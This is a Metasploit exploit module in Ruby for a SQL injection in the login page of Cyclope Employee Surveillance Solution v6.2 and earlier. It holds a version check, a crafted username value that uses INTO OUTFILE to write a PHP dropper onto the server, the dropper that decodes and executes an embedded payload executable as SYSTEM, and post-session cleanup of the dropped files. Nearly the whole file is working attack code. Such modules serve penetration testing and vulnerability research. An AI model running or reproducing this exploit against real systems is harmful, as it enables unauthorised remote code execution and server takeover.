##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Cyclope Employee Surveillance Solution v6 SQL Injection",
			'Description'    => %q{
				This module exploits a SQL injection found in Cyclope Employee Surveillance
				Solution.  Because the login script does not properly handle the user-supplied
				username parameter, a malicious user can manipulate the SQL query, and allows
				arbitrary code execution under the context of 'SYSTEM'.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'loneferret', #Original discovery, PoC
					'sinn3r'      #Metasploit
				],
			'References'     =>
				[
					['OSVDB', '84517'],
					['EDB', '20393']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00"
				},
			'DefaultOptions'  =>
				{
					'InitialAutoRunScript' => 'migrate -f'
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['Cyclope Employee Surveillance Solution v6.2 or older', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Aug 8 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptPort.new('RPORT',     [true, "The web application's port", 7879]),
					OptString.new('TARGETURI', [true, 'The base path to to the web application', '/'])
				], self.class)
	end

	def check
		peer = "#{rhost}:#{rport}"
		path = File.dirname("#{target_uri.path}/.")
		b64_version = get_version(path)
		if b64_version.empty?
			print_error("#{peer} - Unable to determine the version number")
		else
			b64_version = Rex::Text.decode_base64(b64_version)
			if b64_version =~ /^[0-6]\.1/
				return Exploit::CheckCode::Vulnerable
			else
				return Exploit::CheckCode::Safe
			end
		end

		return Exploit::CheckCode::Unknown
	end


	def get_version(path)
		res = send_request_raw({'uri'=> "#{path}index.php"})
		return '' if not res

		v = res.body.scan(/\<link rel\=\"stylesheet\" type\=\"text\/css\" href\=\"([\w\=]+)\/css\/.+\" \/\>/).flatten[0]
		return '' if not v

		return v
	end


	def on_new_session(cli)
		if cli.type != 'meterpreter'
			print_error("Please remember to manually remove #{@exe_fname} and #{@php_fname}")
			return
		end

		cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")

		begin
			print_warning("Deleting #{@php_fname}")
			cli.fs.file.rm(@php_fname)
		rescue ::Exception => e
			print_error("Please note: #{@php_fname} is stil on disk.")
		end

		begin
			print_warning("Deleting #{@exe_fname}")
			cli.fs.file.rm(@exe_fname)
		rescue ::Exception => e
			print_error("Please note: #{@exe_fname} is still on disk.")
		end
	end


	def get_php_payload(fname)
		p = Rex::Text.encode_base64(generate_payload_exe)
		php = %Q|
		<?php
		$f = fopen("#{fname}", "wb");
		fwrite($f, base64_decode("#{p}"));
		fclose($f);
		exec("#{fname}");
		?>
		|
		php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ')
		return php
	end


	def exploit
		peer = "#{rhost}:#{rport}"
		path = File.dirname("#{target_uri.path}/.")

		#
		# Need to fingerprint the version number in Base64 for the payload path
		#
		b64_version = get_version(path)
		if b64_version.empty?
			print_error("#{peer} - Unable to determine the version number")
			return
		end

		print_status("#{peer} - Obtained version: #{Rex::Text.decode_base64(b64_version)}")

		#
		# Prepare our payload (naughty exe embedded in php)
		#
		@exe_fname = Rex::Text.rand_text_alpha(6) + '.exe'
		@php_fname = Rex::Text.rand_text_alpha(6) + '.php'
		php = get_php_payload(@exe_fname).unpack("H*")[0]
		sqli = "x' or (SELECT 0x20 into outfile '/Progra~1/Cyclope/#{b64_version}/#{@php_fname}' LINES TERMINATED BY 0x#{php}) and '1'='1"

		#
		# Inject payload
		#
		print_status("#{peer} - Injecting PHP payload...")
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => path,
			'vars_post' => {
				'act' => 'auth-login',
				'pag' => 'login',
				'username' => sqli,
				'password' => Rex::Text.rand_text_alpha(5)
			}
		})

		#
		# Load our payload
		#
		print_status("#{peer} - Loading payload: #{path}#{b64_version}/#{@php_fname}")
		send_request_raw({'uri'=>"#{path}#{b64_version}/#{@php_fname}"})
		if res and res.code == 404
			print_error("#{peer} - Server returned 404, the upload attempt probably failed.")
			return
		end

		handler
	end

end